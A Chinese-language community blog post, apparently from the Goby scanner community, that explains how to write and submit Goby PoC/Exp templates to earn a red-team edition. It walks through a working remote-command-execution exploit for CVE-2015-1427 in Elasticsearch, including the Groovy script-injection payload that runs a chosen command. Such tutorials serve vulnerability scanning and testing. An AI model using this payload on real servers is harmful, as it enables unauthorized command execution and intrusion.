技术分享 | 如何编写合格的 PoC 领取 Goby 红队专版
Goby社区第13 篇技术分享文章
全文共:3906 字 预计阅读时间:10 分钟
前言:Goby已经上了某榜(滑稽)的top10了,足以证明Goby的实用性,众所周知Goby还分为内测版、超级内测版、红队专版等等,其中最强大的莫过于红队专版,但红队版的获取是严格限制的,当然也是有获取方法,这里分享如何通过编写 PoC 获取红队专版。
Goby为PoC编写提交测试方便发布了...姑且叫PoC版。PoC版主要功能为登录后,可以在线提交 PoC,无需再提交到邮箱。
然后还有两个连接,一个是《Goby漏洞编写指南》:
https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide
还有《Goby已录漏洞列表》防止PoC撞车:
https://shimo.im/sheets/hcoIpikMzpsVKgaC/aojnO/
第一个 Goby 的 PoC
2.1 简单的 PoC 制作
实际上主要用到的功能在这里:
上图就能看到自定义PoC的界面样子了,具体填写的信息和填写标准参考上述的《Goby漏洞编写指南》,里边有命名规则等详细解释和参考,然后就是Requests的Response处理,Goby提供了“测试”功能可直接通过图形化界面自定义自己的Requests。
这里以CVE-2015-1427为例,再完整的RCE中一共需要发送两次Requests。
然后Goby的PoC编辑界面提供了可选的单个或多个Requests,也提供了AND和OR可选的发包逻辑,方便发送多个Requests的自定义
之后的“响应测试”可对Response进行判断可选有返回状态码,Header和Body,大家按照自己需求点一点即可。
CVE-2015-1427需要两个Requests,再来一个即可,这里需要一个RCE返回结果的判断,对于轮子达人来说点一点就好制作很方便。
到这里两次Requests好了,最终的RCE判断也好了剩下就是测试PoC可用性了,上图所示右上角提供了“单ip扫描”直接测试。
在资产扫描完成的界面,输入query点击放大镜可以进行资产匹配,用来确定自己写的query可以正确匹配。
但是仅有一个存在漏洞和不存在漏洞的结果提示,这个查询界面并没有显示Response,所有如果怀疑自己的PoC有问题还需要自己抓包去看,而且多次Requests时仅显示第一个Requests(所以建议该功能有待完善),我再测试PoC时无奈一直在Wireshark抓包看的,比较麻烦。
再去扫描中测试一番,这里每次对PoC进行修改之后都需要重启Goby(点左下角的重启也行)。
制作Exp需要开启图形中的验证接口,你会好奇上图所示的“验证”为什么我没有,需要去手动编辑Exp模块了。
"ExpParams": [
{
"name": "cmd",
"type": "input",
"value": "whoami"
}
]
现在为止GUI中已经开启Exp了,但实际还没有“验证”功能,需要再回到“编辑器”中编写“验证功能”,找到json中的ExploitSteps默认值为null,继续以CVE-2015-1427为例需要两次Requests修改为:
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/website/blog/",
"follow_redirect": true,
"header": {
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "close",
"Accept-Language": "en",
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "{ \"name\": \"cve-2015-1427\" }"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "201",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody"
]
},
{
"Request": {
"method": "POST",
"uri": "/_search?pretty",
"follow_redirect": true,
"header": {
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "close",
"Accept-Language": "en",
"Content-Type": "application/text"
},
"data_type": "text",
"data": "{\"size\":1, \"script_fields\": {\"lupin\":{\"lang\":\"groovy\",\"script\": \"java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"{{{cmd}}}\\\").getText()\"}}}"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "460f7ccb583e25e09c0fe100a2c9e90d",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|(?s)\"lupin\" : \\[ \"(.*)\" \\]"
]
}
]
"ExploitSteps": [
"AND",
{
"Request": {xxxxxx},
"ResponseTest": {xxxxxx},
"SetVariable": [xxxxxx]
},
{
"Request": {xxxxxx},
"ResponseTest": {xxxxxx},
"SetVariable": [xxxxxx]
}
]
"SetVariable": [
"output|lastbody"
]
"SetVariable": [
"output|lastbody|regex|(?s)\"lupin\" : \\[ \"(.*)\" \\]"
]
上述的PoC完整例子在:https://github.com/zhzyker/Goby-PoC
总结
仅需编写三个带Exp的PoC即可领取Goby红队版!小手半天抖一抖~红队专版拿到手~• limb0 | 如何利用Goby获得多个地市hvv一等奖
• 梦幻的彼岸 | Apache Tomcat样例目录session
• bytesec | 从致远OA-ajax.do漏洞复现到利用
• zzlyzq | 利用Goby发现企业云网络中的安全隐患
更多 >> 打野手册
如果表哥/表姐也想把自己上交给社区(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写等文章均可)